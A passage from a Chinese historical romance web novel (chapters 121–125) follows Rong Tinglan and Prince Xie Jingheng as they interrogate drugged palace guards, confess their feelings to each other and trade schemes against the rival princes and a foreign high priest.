黄钊目送两人的背影消失在秘牢里,恨不得把门一关,再放一把火烧死他们算了。 谢景珩来之前,他在京城横行无阻,想要谁死谁就能死。 比起长宁侯的猖狂,他更加心狠手辣。 原来的镇南侯府一党,几乎全都死在了他手上。 可谢景珩来了之后,他却不得不夹起尾巴做人,现如今更是一步步威胁到了他的安全。 想到这里,他扭头问自己的侍卫,“二殿下那边约好了吗?” 侍卫点头,“在天下楼等您,还有祭司大人也在场,说有很重要的事儿,要和您商量。” 黄钊点点头,转身离开大理寺天牢,“你在这边盯着点,今天天牢我们是进不去了,那些大内侍卫很可能吐出一些不利于我们的东西。” 说着,眼底染上浓重的杀意,“既然这样,就只能设法让羑洲那边的人先下手为强了。” 侍卫点头,蹲在大理寺外面。 黄钊急匆匆去找二皇子和大祭司。 …… 天牢里面。 容汀兰再一次见到了那个面带刀疤的男子。 他正坐在桌子后方登记着什么,见谢景珩进来起身行礼,“王爷。” 礼数周全,但并不卑微。 容汀兰见状登时一愣,下意识看向谢景珩,“你的人?” 谢景珩瞥了她一眼,想到她那天给人下迷 药,一阵无语,“嗯,自己人,往后见了别下死手,算本王求你了。” 容汀兰:“……” 她现在甚至怀疑,上次她闯入天牢给这人下迷 药,是不是已经被谢景珩知道了。 她干笑了一声,试探道:“怎么会?若不是跟着王爷,我都不会来这种地方,就算是要下死手,也不会有机会的。” 谢景珩想戳破她,但终究还是忍住了。 最后,又叮嘱一句,“就算是有机会进来,无论发生什么事情,也不要下死手。” “那当然,”容汀兰以为这人对谢景珩太重要,才让他连说两次,于是笑着道:“看在王爷的面子上,我也肯定会放过他的。” 谢景珩眼神古怪,看了眼前方的刀疤男子,“他叫锦衣,是……本王的暗卫之一。” 又看了眼容汀兰,道:“这位,便是本王的长嫂慕夫人。” “你们都是本王很重要的人,有机会多相处相处。” “……” 容汀兰汗颜,忽而凑近谢景珩耳边,低低道:“不对啊,我还是第一次见王爷这么庄重地介绍一个侍卫,他该不会……是你同父异母,或者同母异父的弟弟,或者哥哥吧?” 忽而,心头咯噔一下。 老天爷,这位该不会是谢景渊乔装的吧? 容汀兰的身子,瞬间僵住。 谢景珩瞥了她一眼,差点咬到自己的舌头。 最后,见她浑身僵硬,神经紧绷的样子,便明白她又想多了。 只好抬手,在她脑门上敲了一下,“胡思乱想什么了呢你?” “没……” 容汀兰回神,快哭了。 谢景珩说话一半一半的,也不把事情说清楚,神神叨叨的,她不多想都不行。 好在那叫锦衣的刀疤男子开口了,“慕夫人年方二八?” 他极力隐忍,但是声音还是微微有些颤抖。 容汀兰点头,“嗯,你易容了?” 锦衣抬手,摸了摸自己脸上的伤疤,点头,“多有不便,不能露真容,请夫人见谅。” “了解了解。” 容汀兰点头,“安全最重要。” 锦衣笑,笑中含泪,忽而朝着谢景珩拱手,“多谢王爷,一切……就拜托王爷了。” 像是在托付什么。 谢景珩点头,“黄钊下去,就轮到你了。” 容汀兰回味着他两这个话,颇为震惊,“王爷,你想让锦衣当大理寺卿?” 这也太逆天了吧? “他是大理寺少卿,距离大理寺卿本就一步之遥,”谢景珩解释道:“只不过,他喜欢待在这个地方,也很少穿官服,所以看起来像个狱卒。” “……” 容汀兰差点闪了舌头。 上次来之前,她还以为这刀疤男是个狱卒呢。 现在细细一想,才发现那日魏公公见了此人的态度,和对其他人有些区别。 而此人见了魏公公,也并没有多尊重。 难怪。 “兄弟深藏不露啊。” 她伸手,拍拍刀疤男的手臂。 刀疤男心头一颤,几乎本能地想要抬手抱她,却又不得已生生隐忍回去,笑着道:“夫人说笑了。” “我们进去。” 谢景珩看了眼容汀兰,把她拉走。 刀疤男看着她的背影眼圈红透,颤声道:“苍天有眼……” 前方,狱卒已经被清空。 容汀兰打量着谢景珩,眼睛里满是好奇,“那人究竟是谁?我怎么觉得,你对他的态度,和对其他暗卫不太一样?” 谢景珩瞥了她一眼,最后开口,半真半假道:“实不相瞒,他是本王那心上人的亲哥!” 容汀兰“噗”一声笑出来,“原来是大舅哥,难怪……” 说着,还拍了拍谢景珩的手臂,“理解理解,难怪你一再叮嘱我不要伤害他。” “你放心吧,如果有一天他得罪了我,我最多给他套个麻袋,把他打的鼻青脸肿。” 第121章 听见了自己心碎的声音 第一百二十一章 听见了自己心碎的声音 谢景珩斜睨她,眼神古怪。 理解力很棒,就是大舅哥,可也是她亲哥! 要不是怕她情绪激动漏了馅儿,他就直接告诉她了。 “那本王先行谢过。” 最后,他很是无语地说了一句。 “都是一家人,不客气。”容汀兰笑了笑,可笑着笑着就有些想哭。 她喜欢的人,有自己的心上人。 有心上人也就罢了,还千叮咛万嘱咐,让她不要伤害心上人的哥。 虽然她报仇的时候心狠手辣,可也不是对谁都下死手。她和他的大舅哥无冤无仇的,为何要对人下死手?还需要他提点两次的? 这就是爱屋及乌。 这就是爱啊! 容汀兰不想说话了,拿出药瓶递给谢景珩,“一个一个喂太慢了,王爷吃了解药撒进去吧,焖一会儿就全傻了。” “……行。” 谢景珩结果毒药瓶子,又接过解药瓶子,吃了一颗之后去下毒。 然后乖巧听话,走出来把门关上,“焖”了一会儿。 等两人再次进去的时候,几个牢房里面的大内侍卫全都变成了提线木偶,呆呆地没有任何反应。 “你问吧,问什么他们说什么。” 容汀兰坐下来,看着密密麻麻的人头,觉得任务量有点大,“可以一起问,让知道的人说。” “这样快一点。” 谢景珩也坐下来,睨了她一眼,“嫂夫人还挺聪明的。” 容汀兰无语。 瞧这话说的,她哪里看上去不聪明了? 这时,刀疤男子跟了进来,抱着文房四宝,充当了记录的角色。 容汀兰坐在边上听着,有些心痒痒。 她其实也有问题想问这些大内侍卫,但是直接提出来太明显,怕被谢景珩怀疑。 谢景珩见她抓耳挠腮,憋笑。 于是,帮她问了她想知道的事情,“大理寺卿黄钊背后什么人,有谁知道?” 容汀兰一下子伸长了耳朵。 人群中,立即传来叽叽喳喳的声音。 一群提线木偶争先恐后。 “他是皇上手上的一把刀,所有脏活全都是他替皇上做的,比如十年前镇南侯府灭门案,还有后来逐步被灭门的十几家,全都是他亲自操办,罗 织罪名。” “他背后还有羑洲人,大祭司就是他介绍给皇上的。” “对,大祭司是他背后真正的靠山,就连皇上都忌惮几分!包括镇南侯,也是大祭司暗中出手,操控机甲才杀了的。” “否则凭黄钊,不可能是镇南侯的对手。” “他曾派刺客追杀谢景珩,但是失败了,谢景珩非但没死,还回京当了珩王。” “明明说是必死无疑的,可是谁知道最后还是活着回来了,真是匪夷所思。” 谢景珩闻言,看了眼容汀兰。 那一次刺杀对方趁他病要他命,还给他下了剧毒,他九死一生。 若非遇上容汀兰,估计他真的就死了。 一念及此,他打了个哈欠看向容汀兰,“嫂夫人帮我问一问?本王有些犯困,出去走一圈吹吹风。” 容汀兰大喜,“什么都可以问吗?” 这样的好机会,她可不会放过。 谢景珩点头,“你随意,想问什么问什么,需要的让锦衣记下来,不需要的就不用记。” 也是给他们兄妹两人一点单独相处的时间,虽然不能相认,但是也能算个安慰。 谢景珩说着,出去了。 容汀兰真的觉得他是上天派来的神仙,专门帮她来的。 她看向锦衣,眨眨眼,“一会儿,我让你记的时候,你再记。” “好。” 锦衣目光落在她脸上,格外温柔。 十年前灭门案时,他最小的妹妹容汀兰才六岁,从那之后再也没见过面,若非上次谢景珩跟他说她找来了,他都以为全家上下,只有他自己活了下来。 想到那天晚上,他心神震颤。 却说不出口。 她太小了,即便是再坚强,也成熟不到哪里去,知道的事情太多很容易暴露。 为了所有人的安全,他都必须忍住。 锦衣深呼吸,压制了自己沸腾的情绪。 容汀兰觉得他有点奇怪,但也没多想什么,反而问道:“听说你有个妹妹,是王爷的心上人,她叫什么名字,又是个什么样的人啊?” 锦衣愣住了。 他下意识看了眼谢景珩离开的方向。 他怎么跟容汀兰说的,怎么还产生了这种奇怪的误会? 但既然谢景珩没直说,那自然也有他的考量,于是锦衣只好顺着她的话道:“她呀,小的时候天真可爱,像个软乎乎的糯米团子,又甜又爱笑。” “无论是多难过的人,看见她的笑脸,都会被感染,所有人都很喜欢她。” 容汀兰闻言有些失神。 她小时候,也很爱笑。 大家都说她像个小太阳一样,一看见她就连阴天都晴了。 她记忆中第一次哭,就是在十年前侯府灭门那个晚上。 那天晚上,她哭的晕厥过去,好似把过去六年间的眼泪全都流出来了。 后来,她也笑。 但是再也无法 像是之前那样,笑的天真又纯粹了。 容汀兰喉头哽了哽,问,“那她现在,应该也很爱笑,过得很幸福吧?” 锦衣看着她。 他也希望她在那样的环境中一直长大,嫁给沈寒秋,被两家人一起宠着,舒舒服服过完这一辈子。 可事与愿违,十年前灭门案,把什么都毁了。 就连他自己,若非谢景珩的师父提前安排,怕也死在当年那一场大火当中了。 不过好在,她现在看上去也很好。 锦衣回神,道:“她现在也很好,聪明、坚强,至情至性,是这个世界上最惊艳的女子。” 容汀兰点头,心中酸涩,“难怪王爷那么喜欢她,听你这么说,我也觉得她很好。” 那个女子,没经历过十年血与恨的洗礼,应该还是完美无瑕,纯粹皎洁的吧? 不像是她,表面上光芒万丈,灵魂的影子却犹如永夜那样深,无法暴露在太阳之下。 那个女子,可以和谢景珩有什么就说什么。 爱恨情仇,嬉笑怒骂都写在脸上,至情至性。 而她,却只能在谎言之下,幻境之上,做着一场不愿意醒来,又不得不醒来的梦。 锦衣看她有些难过的样子,忍不住问道:“夫人看上去,不是很开心?是想起了什么不愉快的事情吗?” 他想安慰她,却不知从何下手。 只是看着她忧伤的样子,觉得心脏像是被一只大手攥紧,憋得难受。 容汀兰回神一笑,笑得灿烂却破碎,“有些羡慕你妹妹,能一帆风顺长大,有爱她的家人,也能坦坦荡荡和人相爱一场。” 锦衣听见了自己心碎的声音。 第122章 疏远 第一百二十二章 疏远 “你喜欢珩王?” 他没忍住,想要安慰她,“其实,珩王的心上人并非是我妹妹,他心里的人是你。” “什么?” 容汀兰愣住了。 “他喜欢的人是你,”锦衣认真地看着容汀兰,“至于我那个妹妹……” 锦衣眼神一闪,说了个善意的谎言,“她只是爱穿女装,其实是个男的,珩王这些年为了挡烂桃花,一直说她是自己的心上人。” 容汀兰听得目瞪口呆,“竟是这样吗?” 锦衣点头,“嗯。” 容汀兰一时间不知说什么好。 但很快,她又产生了别的担忧。 之前,谢景珩让她帮忙演戏拦住萧明月,也是让她扮男装强迫他…… 难道,谢景珩喜欢的当真是男的? 容汀兰瞪大眼睛,一时间觉得更惊悚了,忍不住追问,“那锦衣公子,你……那个弟弟成亲了吗?” “……” 为了安慰她,锦衣觉得还是成亲了比较好。 于是,他煞有介事地说:“老早就成亲了,现在孩子都三岁了。” “……” 容汀兰心情复杂。 若谢景珩是个断袖,那他惦记人夫,被人拒绝也是正常的吧?若他不是,那为何一定要在她面前说他有心上人呢? 所以,是想说他们彼此不可能? 在谢景珩看来,她也是一个烂桃花? 所以,需要有个人挡着? 锦衣见她失神,忍不住问道:“慕夫人,你又在想什么?” 容汀兰回神摇头,干笑了一下,“没,没什么。” 她确实要稍微清醒一下了。 谢景珩看着虽然很好,可是毕竟他们才认识没几天,她不了解谢景珩。 贸然沉溺,真的会很危险。 容汀兰深呼吸一口气,没再纠缠这个事情,问那些大内侍卫,“皇上的身体看上去不太舒服,他是得了什么病吗?” “不是!” 一个大内侍卫道:“他是想要长生不老,永远坐在龙椅上。所以,他抓了一只长离兽,引其血以求长生。” “但那长离血彪悍,他承受不住,因此常有反噬。” 容汀兰闻言惊呼,“你是说,他抓了百里寻身边的那个小女孩,是为了喝她的血?” 她知道皇帝不是好东西。 却没想到,他竟是个吃人的禽 兽! “是。” 大内侍卫答。 容汀兰攥紧了拳头。 总有一日,她定要亲手杀了这个变态! “那么,他什么时候和羑洲人勾搭上的?羑洲人想要找的龙纹章,又和他有什么关系?” 容汀兰最忌惮的并不是萧氏皇族。 她之所以没有直接大开杀戒,一是因为自己往后还要堂堂正正做人,不能不清不楚成了个通缉犯。 二是她需要查清楚所有的事情,逼皇帝亲自下罪己诏,为父亲平冤昭雪。 如此,才能洗清容家身上的脏污。 若非如此,她一把毒药下去,萧氏皇族都要完蛋。 她怕的,是羑洲的高手。 所以,在动手之前一定要查清楚这一切,谋定后动,才能规避风险。 这个问题似乎有点难。 大内侍卫们沉默了一小会儿,随后才有人开口,迟疑道:“我只知道,大祭司一直在逼皇上找回玉玺,但龙纹章什么的,我没有听说过。” 容汀兰震惊,“玉玺失踪了?” “是。” “什么时候失踪的?” 大内侍卫道:“很早了,先帝登基的时候,玉玺就已经不在了。现如今在用的玉玺是仿造的,真正的玉玺随着慕容皇族的覆灭,杳无音信。” “皇上找了很多年,却全无踪迹。” “……” 容汀兰琢磨着这个事儿,有了新的想法,扭头对锦衣道:“锦衣公子,我刚刚问的这些话你别记,万一被人知道了,会很危险。” 锦衣点头。 容汀兰心中震颤,她真的没想到,萧氏皇族的光鲜亮丽背后,竟然还藏着这么多的秘密。 “那么,皇上到底打算把皇位传给谁?” 她问了最后一个问题。 “应该是四皇子。” 一个大内侍卫回答。 “为何?”容汀兰追问。 那人道:“太子已经二十几了,他背后是长宁侯府、太后娘娘、皇后娘娘。这些人都太着急了,所以太子肯定特别想要尽快登基。” “但是,皇上肯定不想让位。” “他还想在皇位上几百年呢,所以才饮长离血。太子立在那里,不过就是个挡箭牌罢了,叫朝臣们不敢多言,其他皇子也不敢妄动。” “可若太子太过着急,找人除掉就是了。” 这一点,和容汀兰下想的一样。 那人又道:“至于二皇子,皇上本就不喜欢他。一是因为皇上不喜蒋贵妃,二是因为蒋贵妃也是强扭的瓜,她在嫁给皇上之前,心里其实是有人的,两人还曾私奔过。” “因此,皇上并不确定二皇子是不是真皇子。” “……” 这下子,容汀兰彻底明白了过来。 她想利用这些信息,给皇帝送一份大礼。 “我的问题问完了。” 在确定没有别的事情之后,她看向锦衣。 “我去找王爷回来。” 锦衣起身,正要出门,谢景珩走了进来,“问出什么了?” 容汀兰一僵,本能地想要掩饰。 但是因为锦衣在场,她还是说了实话,“一些有关于羑洲的事情,回去了跟王爷商量。” 谢景珩点点头,进来坐下。 审讯再次开始了。 剩下的内容容汀兰并不感兴趣,于是坐在边上昏昏欲睡,就这样一直持续到了天黑。 锦衣的纸都写完了。 这些大内侍卫做的恶可谓是罄竹难书,谢景珩下令,将他们全部斩首。 一部分证据送去了宫里。 另一部分,自己留下了。 容汀兰跟着他出去的时候,天已经黑了,两人身上都带着淡淡的血腥味。 容汀兰第一次见谢景珩杀人,虽然不是他亲自动手,但是他看着那些人头落地,天牢里面血流成河的模样,竟然眼睛都没有眨一下。 这是容汀兰从未见过的样子。 也因为这个,她感觉自己和谢景珩之间又有了一些距离,“王爷,今晚杀了那么多人,宫里会不会记恨珩王府?” 答案是必然的,她想问的不是这个。 可只有这句话说出来,似乎才符合她当下的身份和情景,其他的都令人怀疑。 谢景珩在夜色里扭头,看向她,“嫂夫人是不是觉得,本王杀人不眨眼的样子很可怕?” 其实容汀兰的心情,他能感觉到。 她疏远了自己。 容汀兰摇摇头,心情很复杂,“他们都是罪有应得,只是……” 只是,谢景珩对她的温柔,多少是在演戏呢? 容汀兰突然之间,有些不确定了。 第123章 本王只想娶你一人,我的嫂夫人 第一百二十三章 本王只想娶你一人,我的嫂夫人 “只是什么?” 谢景珩也感觉到了她的异常,他停下脚步,扭身看向她。 夜色里,她的脸上布满忧伤。 谢景珩分不清楚她这是对生命的怜悯之情,还是因为别的,总觉得有什么地方不对劲儿。 下意识的,他上前扶住她的肩膀,“告诉本王,你到底怎么了?” 容汀兰本就心里有情绪。 被他这么一逼,倏然抬头看向他,眼神颤抖,“我就想知道,哪一副才是王爷的真面孔?是否有一天,王爷在对我出手的时候,也会这样眼睛都不眨一下?” 谢景珩一愣,“他们和你不一样,你怎么会这么对比?” “我不是和他们对比……” 容汀兰脱口而出,随后意识到说错话,垂眸不吭声了。 谢景珩发现不对劲儿,歪头打量着她,“不是和他们对比,那是和谁?” “……” 容汀兰咬了咬嘴唇。 最终,决定把话说明白,“原本也是事不关己的,我也不应该问。但是,王爷那日众目睽睽之下说三年后娶我,我就不得不问一问了。” “行,你说。” 谢景珩隐约感觉到了一些什么。 容汀兰抬头看向他,“你说有个心上人,锦衣说他没有妹妹,他只是有一个爱穿男装的弟弟,所以王爷其实好龙阳,我只不过是你的挡箭牌,对吗?” “……” 谢景珩被气笑了。 容祁这是在帮忙还是在帮倒忙? 现在弄成这样,叫他怎么解释? 容汀兰在谋算复仇上面的确很聪明,可她到底也只是个十六岁不到的小姑娘,城府没有那么深,嬉笑怒骂都容易写在脸上。 若告诉她真相,万一一着不慎叫人察觉,到时候所有人都要死。 现在可好。 他不解释也都不行了。 但也不能什么都说。 最后没办法,他只能伸手一把将她勾进怀中,俯首吻上了她的唇。 “……” 容汀兰瞪大眼睛,愣住了。 夜色里,男人的脸近在咫尺,是让她心动不止的人。他的发丝在夜风中垂落,扫过了她的脸,唇齿相依,他的侵略突兀、霸道,不容反抗。 心跳冲散了她的忧思。 她的脸滚烫起来,胸膛起伏。 口齿之中,空气被抽干,她有些眩晕,也有些站不稳,下意识抱住了他,以稳固自己。 不知持续了多久。 她的嘴巴都肿了起来,谢景珩才松开她,抬手擦了擦她嘴角的水渍,眼底犹如跳跃着火焰,“这个答案,足够吗?” 夜风分明有些发凉。 可容汀兰却感觉,四周的空气滚烫烫的,烫得她有些眩晕,“什、什么?” “锦衣没有什么妹妹,也没什么弟弟。” 他看向容汀兰,声音微微有些沙哑,却更加迷人,“燕春楼一见,本王对嫂夫人一眼万年,那封信是本王伪造的。” “什么?” 容汀兰被他这一番话,说得直接愣住了。 信息量太大。 也万万没想到他会这么直接。 她抬眼看向谢景珩,只觉得犹如身处幻觉,四周什么都消失了,只有他站在眼前。 “我说,我喜欢你。” 谢景珩逼近,他的嗓音温柔起来,再次抬起她的下巴,“此生此世,本王只想娶你一人,我的嫂夫人。” 心跳掩埋了容汀兰的声音,“这不、不可能……我们才认识很短的时间,我……” 她摇头,明明是梦寐以求的,此刻却不敢相信。 “所以我说,一眼万年。” 谢景珩刮了下她鼻子,“本王说想娶你,你说你是我嫂子……笨死了。” “???” 容汀兰反应迟钝。 好一阵子,才回神瞪大眼睛,“所以,那天晚上你说被心上人拒绝了,说的是我?” “哼。” 谢景珩傲娇了,转身走向珩王府,背影轻扬。 那一声,犹如雨点落在容汀兰心口。 她愣了一瞬,随后扑过去,猛然从背后抱住了他,“我没拒绝你。” 男人顿住脚步,勾唇,“那我哥呢?” “这——” 容汀兰没想到他问这个,登时僵住。 谢景珩失笑,转身弯腰一把把她抱起来,道:“开玩笑的,我哥已经去世了。” 容汀兰猝不及防落在他怀中,脑海里一片空白,“那、那这样会不会显得,我朝三暮四了……” 毕竟,她是冒充珩王寡嫂进门的。 当时还说得山盟海誓的,这才几日就移情别恋……的确说不过去。 谢景珩不舍得她纠结,替她找补了过去,“换做旁人肯定觉得朝三暮四,但我们不一样。我与长兄乃是双胞胎,长得一模一样。” “嫂夫人来了府上,与本王朝夕相处,看着与自己丈夫一模一样的小叔,动了心也是正常的。” “至于本王……” 他笑了一下,“双胞兄弟的喜好,本就是一样的。” “兄长见了嫂夫人心驰神往,本王也不例外。” “……” 这话可真好听。 容汀兰被他说得晕头转向,伸手环住了他的脖子。 谢景珩抱着她走向珩王府,想起小时候抱着她的情景,嘴角露出笑容。 上天还是优待他的。 将那一束光,又送到了他怀中。 四周传来议论声。 “那好像是珩王殿下,他怀里抱着的,是慕夫人吧?都说双胞兄弟喜好一样,这么看来还真是的……” “估计慕夫人也是,丈夫去世,却遇上个和丈夫一模一样的小叔子,看着看着估计眼睛都花了,分不清究竟是哪个。” “但不得不说,郎才女貌,真是养眼啊!” “……” 街角的轿子里,却有人红了眼。 “珩王怀里的,是他那个嫂夫人?” 萧明月盯着前方那一对人影,语调都扭曲了,“我就知道她是个贱人!谢景渊死了才多久啊?她就勾搭上了珩王!” “珩王也真是的,居然看上那么个狐狸精!” 她身侧的宫女也眉心紧皱,“皇上已经下旨,叫殿下过几日嫁给珩王。” “若珩王心里的人是他这个嫂夫人,殿下嫁给他,恐怕要受委屈!” 萧明月攥紧拳头,“我决不允许有人跟我抢珩王!马上回宫,我要跟父皇说,明天晚上我就住进珩王府,看她那个狐狸精还敢不敢这样!” “对!” 宫女点头,“亡夫丧期,她不守妇道,勾引小叔子。这样的女人,应该被下猪笼!” “起驾!” 萧明月越听想越气,愤然离去。 容汀兰对此一无所知,谢景珩却瞥了眼街角,嘴角勾起一抹讽笑。 他等着宫里派人来。 第124章 山雨欲来 第一百二十四章 山雨欲来 两人进了珩王府大门,暗影快步走了上来,在看到容汀兰的时候倏然顿住脚步,瞪大眼睛,“爷,你们……” “一会儿书房来找我。” 谢景珩瞥了她一眼,旁若无人地抱着容汀兰进了凌烟阁,“嫂夫人先休息一下,一会儿厨房送饭过来,我有点事情先去处理一下。” “好啊。” 容汀兰被放在软榻上坐下来,心跳依然不正常。 谢景珩伸手捏了下她的脸,转身去了书房。 暗影面色诡异,“爷,您……跟慕夫人在一起了?” 就这么明目张胆的? 谢景珩没回答,“交给你的事儿办好了吗?” 暗影心里痒痒,但见他不想多说,只好正色道:“嗯,长宁侯、曲莹莹和裴元修三人被我们的人替换了,如今已经前往北疆,最多十天就能进入曲家军。” “北边的尸体呢?” 谢景珩瞥了他一眼,将从天牢拿回来的文书丢在桌上。 暗影道:“已经处理掉了,没有留下任何痕迹。” 随后,看向那些文书,“爷,大内侍卫那边怎么样了?” “死绝了。” 男人脸上笑容消失,轻描淡写说了三个字,没有任何感情 色彩,“叫宫里的暗桩准备,今晚我们进宫一趟。” “另外,叫人给皇帝耳边吹吹风,既然萧明月想入珩王府的心不死,那明天就让她进来吧。” 暗影闻言脸色微微一变,“真让她进来?请神容易送神难,一旦进来,恐怕就送不出去了。” “不,她自己会走。” 谢景珩冷笑一声,“妒火会烧毁她的理智。” 暗影恍然,“所以,王爷正在和慕夫人演戏?” “……” 谢景珩白了他一眼,懒得和他说话。 但最终还是叮嘱了一句,“本王不希望你再说出这种话,出去。” 暗影:“……” 他哪里说错了吗? 谢景珩按住眉心,又把人叫进来,指了指桌上的东西,“拿去归档备用。” “……是。” 暗影拿了东西走了。 谢景珩起身来到屋檐下,看向皇宫的方向。 他的前半生半真半假,一直都是活在迷雾里的人,如今遇上了容汀兰,却不能那么走了。 这迷雾中的世界,容易叫人难分真假,也容易伤人伤心。 所以,瀛洲的事情不能再拖下去了。 快刀斩乱麻,才能尽快说出真相。 他缓缓深呼吸了一口气,招呼孤舟过来,递给他一封信,“送去寒国,把它交给寒国女帝。” 孤舟闻言面色一变,“爷,这会不会太快了?原计划是今年冬天……” “不,越快越好,不然来不及了。” 谢景珩摇头,如果容汀兰没来,他的确可以步步为谋。 现在,容汀兰入京,雷霆之势对付皇族,很快羑洲人就会察觉,到时候会是更猛烈的腥风血雨。 他必须要尽快处理掉和萧氏皇族、镇南侯府这些事情,才能腾出手来,专心和羑洲那些人周旋。 否则,腹背受敌,他和容汀兰都会很危险。 而容汀兰也没闲着。 谢景珩去书房之后,她就翻墙去了隔壁找逐风,“往太子的东宫送个消息,就说皇帝把他当挡箭牌,真正的皇储并不是他,而是四皇子。” “另外,告诉二皇子府一声,就说皇帝打算追随羑洲人去修炼长生不老的秘法,近日就会将皇位传给太子。” 逐风闻言震惊,“这消息要是传过去,太子和二皇子恐怕坐不住了。” 容汀兰眯了眯眼,“要的就是他们狗急跳墙。” 话锋一转,她问道:“对了,二皇子府和裴家的黄金,都收到了吗?” 逐风点头,表情沉重,“收到了,裴家要买的是你的命,二皇子想要的是太子的命,但追加了一个订单,想要你,活的。” “胃口挺大。” 容汀兰冷笑一声,“答应他吧,叫九月和惊蛰出手,留存证据。” “这样,会不会让九重楼变得危险?” 逐风看向容汀兰。 容汀兰眯了眯眼,“你不懂,但九重楼的人知道我的目的,不会暴露自己。” 逐风闻言放心下来。 随后,又有些失神。 他的记忆很短,没有来龙去脉,世界精彩纷呈,却好像都和他没有关系。 就好像,他和这个世界唯一的关联就是:他是容汀兰的侍卫,和月玲珑是冤家。 这么一看,反倒和月玲珑最为亲近了。 容汀兰感受到他的情绪,看向他,“逐风,我不是那个意思,我的意思是说,九重楼很多事情的处理非常复杂,三言两语说不清楚。” “你不要往心里去。” 她叹了口气,“你只是忘记了过去,总有一日,等你脑袋里那个血块消融之后,你就会想起自己的过往,这不要紧的。” 逐风回神点头,“少主说得对,我只是一时间感觉生命有点空洞。” 容汀兰叹了口气,“虽然我也想帮你,但是你脑袋受伤的那个位置过于危险,我不敢下猛药,你再熬一熬吧。” “好。” 逐风脸上露出笑容,“我好了,你不要担心。” 容汀兰笑了笑,“行,那你去忙,我今晚带玲珑进宫去,你们盯着外面。” “少主要安全回来。” 逐风很感激容汀兰。 救命之恩,他是打算用性命报答的,和本质上他和容汀兰的生活却没有太多交集。 他只是一个办事儿的人。 有时,也会寂寥。 他转身进屋,去找月玲珑,“今天晚上,你入宫谨慎一些,瀛洲不像是表面上看上去的那么简单,不要阴沟里翻船。” 月玲珑正在捣鼓自己的机关,闻言看向他,乐了,“你带着个微笑面具,怎么听上去像是要哭了?” “我没有。” 逐风并不承认自己很担心她。 月玲珑撇撇嘴,起身背着手,绕着他转了两圈,上下打量,“啧啧啧,你我认识也有半年了,我还不知道个你?” “怎么,还没被我捉弄够呢,希望我活着回来?” 她说着露出笑容,脸上掬起两个可爱的小梨涡,长而卷翘的睫毛忽闪忽闪,“我还以为,你是那个最盼着我死的人,毕竟我若死在宫里,以后就再也没有人欺负你了。” 逐风看着她,欲言又止。 这个小丫头还没成年,才十三岁。 古灵精怪,和她做的那些机关一样,人没一刻闲着,也没有一件事情按照常理出牌。 他是她实验机关术的小白鼠。 那些无伤大雅的恶作剧让他生气,又让他感觉还活着。 现在看着她,他的心情也有些复杂,嘴硬道:“我只不过是担心你死在宫里,叫人查到少主头上。” “就知道你盼着我死呢!” 月玲珑撇撇嘴,忽而拿起一个什么在他面前一晃。 一只机械小蜜蜂突然冒出来,在他脖子上狠狠扎了一下,而那罪魁祸首已经跑出门去,只留下一串“哈哈哈”的笑声。 第125章 觊觎之心 第一百二十五章 觊觎之心 逐风一把抓住那小蜜蜂。 小蜜蜂只有绿豆大,精妙绝伦,但和门外跑出去的那位一样,不好惹。 又在他手指上扎了一下。 指腹沁出一滴血。 不怎么疼,但是无奈。 他一个二十一的,也不能追着个十三岁的去算账,罢了。 他叹了口气,摇头离开房间,去办容汀兰交给他的任务,一时间又觉得心里没那么空了。 …… 容汀兰翻墙回去,和谢景珩一起吃饭。 “你说,现在二皇子正在干什么?” 容汀兰琢磨着二皇子追加的订单,心下冷笑:他还想要活的? 找死! 谢景珩抬眼瞥她,“怎么,嫂夫人对二皇子感兴趣?” “对他的死感兴趣。” 容汀兰倒是没说慌,“上次我给他下针,他想要杀了你。我想送他提前上路,免得夜长梦多。” 谢景珩嘴角一勾,“所以,嫂夫人是在保护本王?” 容汀兰红了脸。 她对谢景珩,先是感到亏欠,紧接着又热烈的爱上了。 保护他,不是情理之中么? 谢景珩有心事,但是面上什么也看不出来,好似不经意地道:“今天本王出去透风的时候,远远看见二皇子在天下楼的露台上,还有黄钊、大祭司。” “他们三个人在一起,会商量什么?” 容汀兰看向谢景珩,琢磨起来。 两人之间,突然有种凑一起一致对外的温馨绑定感窜起,谢景珩心头一暖,说出自己的猜测,“黄钊本就是祭司殿的人。” “大祭司的目的是找到玉玺,二皇子的目的是除掉皇帝和太子自己登基。” “现在,大祭司和皇帝合作已经十年有余,但是皇帝依然没找到玉玺,大祭司对他失望是必然的。” “而蒋贵妃,这些年和那个大祭司也不清不楚,所以祭司殿和黄钊支持二皇子,几乎是必然的事情。” 容汀兰听得目瞪口呆,“皇族的关系真是混乱,不是说蒋贵妃出嫁之前和人私奔过么?怎么又和大祭司混在一起了?” 谢景珩闻言瞥了她一眼,“也在情理之中,因为和他私奔的那个男的,被皇上找借口给杀了。她多半想报复皇上,所以爬上了大祭司的床。” “那大祭司从羑洲来,皇上不敢对他下手,只好做了忍者神龟。” 容汀兰琢磨着这些事儿,眼珠一转,“也就是说,大祭司是二皇子背后的人,他们和黄钊今天见面,多半是在商量篡位?” “八成是这样。” 谢景珩点点头,“静观其变吧,只要不波及到珩王府,一切都好说。” 容汀兰点头,“二皇子明天估计会来找我,我找个机会,再问问他。” “明天再说。” 谢景珩往她碗里放了一块排骨,“吃饱了进宫去,时间紧迫,在他们防备之前,我们先把百里寻身边那个小孩子救出来,再找找太阳金。” “嗯!” 容汀兰点头,感激地看了他一眼。 片刻,月玲珑蹦蹦跳跳地来了,“王爷,师姐,我们什么时候进宫去?” “吃饭了吗?” 容汀兰问她,“吃饱了就走。” “早吃过了,只有你们这么晚。” 月玲珑坐在门槛上,小小一团看上去像个鬼灵精,“师姐,今晚进去之后,你陪我好不好?” 她害怕珩王跟着,不方便办事。 谢景珩瞥了她一眼,“你要的那个东西,如果国库没有,多半就落在羑洲人手上了,今晚你们都跟着本王,不许单独行动。” 月玲珑瞪大眼睛,看向容汀兰。 珩王居然知道她要去干什么? 知道了还能带着她去国库,这得是多硬的关系,多宠她师姐才会答应的事情啊? 容汀兰被她看得脸红,轻咳一声道:“只是顺路,宫里危险,晚上听王爷的。” “……好。” 月玲珑点头,总觉得事情没那么简单。 但她还是心里有数的,没敢在谢景珩面前过于造次,只是眼神亮晶晶地偷瞄两人。 谢景珩失笑,也懒得管她。 甚至,感觉自打容汀兰来之后,珩王府变得热闹了些许,多少也有些人气了。 饭后,三人易容直奔皇宫。 …… 此时,二皇子、黄钊、大祭司三人从茶楼上下来,走出后门。 “九重楼那边已经接单了,我们的人也传来了消息,说东宫买的药明天到货。等太子进宫给父皇下了毒,出来的时候我们就动手。” 二皇子脸上一片阴狠,“到时候,太子遇刺,父皇暴毙,北魏便是我们的天下。” 